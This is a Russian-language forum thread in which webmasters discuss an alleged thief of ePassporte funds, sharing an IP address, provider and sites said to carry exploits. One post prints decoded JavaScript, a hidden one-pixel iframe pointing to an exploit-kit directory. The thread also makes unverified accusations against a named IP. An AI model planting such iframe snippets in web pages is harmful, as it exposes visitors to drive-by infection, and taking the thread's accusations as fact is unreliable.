Найден человек, ворующий деньги с епасса

вот его некоторые данные:
IP 81.195.42.110 (российская федерация)
интернет-провайдер - intelset.ru
хостинг - EXMASTERS.COM

его ресурсы (внимание, не заходить!, там эксплойты):
xxxdvdrentals.com/xxx_dvd_rentals_links.html
s2odesigns.com/?do=galleries.htm

сейчас ведутся активные действия по поимке преступника.

Как стало известно, краже паролей не помогают даже самые мощные связки антивир + файрволл. так что будьте осторожны!

опять блять соотечественники...
откуда инфа?

источники информации пока что, к сожалению, не разглашаются

Есть у меня подозрение что вышеозначенные сайты сломаны тупо...

Man писал:

опять блять соотечественники... откуда инфа?

опять блять руский след

а при каких обстоятельствах воруются?

при никаких. можно в один прекрасный момент залогиниться в епасс и не обнаружить своих денег

адреса нету ? приехать пиздюлей дать )))

Roy Magilla писал:

при никаких. можно в один прекрасный момент залогиниться в епасс и не обнаружить своих денег

даже если запретил (в ФФ) сохронят пароль для данного сайта?

Мне тоже кажеться что тупо сломанны сайты, а парень отгребет теперь просто так.

реально как айпи то узнали.
Хитрожопый говноед ходил на епас, без соксов типа?

и троя который там ставится (если ставится конечно, т.к туда не заходил) разобрали чтоли?

dDan писал:

Мне тоже кажеться что тупо сломанны сайты, а парень отгребет теперь просто так.

кстати может быт.... не зря они советуют менять пароль 1 раз в месяц.

V.V.Pupkin писал:

реально как айпи то узнали. Хитрожопый говноед ходил на епас, без соксов типа?

тоже вот думаю

Жабаскрипт после расшифровки

<iframe src='http://pinkola.info/sp_pack/exp/counter.php' width='1' height='1' style='visibility: hidden;'></iframe>

http://pinkola.info/sp_pack/exp/ - 403 -> такая директория существует

http://alt.tgpteam.com/ превед красавчеги

X-dream писал:

кстати может быт.... не зря они советуют менять пароль 1 раз в месяц.

сам главное его вспомни потом ))) можно вообще не заходить туда настроить почту с уведомлениями о том что деньги пришли
а суммы смотреть у спонсоров в пайментс хистори или в банкомате)))

topmaster писал:

Жабаскрипт после расшифровки...

не понял.... топмастер причем тут твой пост?

и что это за адрес xttp://pinkola.info/sp_pack/exp/ ?

в одном из сайтов в первом посте содержится шифрованный жабаскрипт, расшифровку я привел, теперь понятно?

не понял.... топмастер причем тут alt.tgpteam.com ??????

Вот на этих сайтах ифрейм на сидж тгптим ведет
Не понятно? еще раз написать?

Roy Magilla писал:

его ресурсы (внимание, не заходить!, там эксплойты): xxxdvdrentals.com/xxx_dvd_rentals_links.html s2odesigns.com/?do=galleries.htm

Roy Magilla писал:

Как стало известно, краже паролей не помогают даже самые мощные связки антивир + файрволл. так что будьте осторожны!

это помогает только от лоховского софта

а зайти на тгптим и проверить есть ли там сайт с таким доменом нельзя ???
судя по всему тупо спиздили диз и тумбы с линками
http://pinkola.info/
http://www.free-lesbian-clips.com/

абсолютно одинаковые два сайта

free-lesbian-clips.com это сайт тгптима
а это нет и никогда там его небыло pinkola.info

Оффтопик: пиздец детектив... )

меня все-таки интересует вопрос откуда инфа.
а то детектив пока строится на заявлении непонятного происхождения.
Кем найден, кем подтверждено и т.д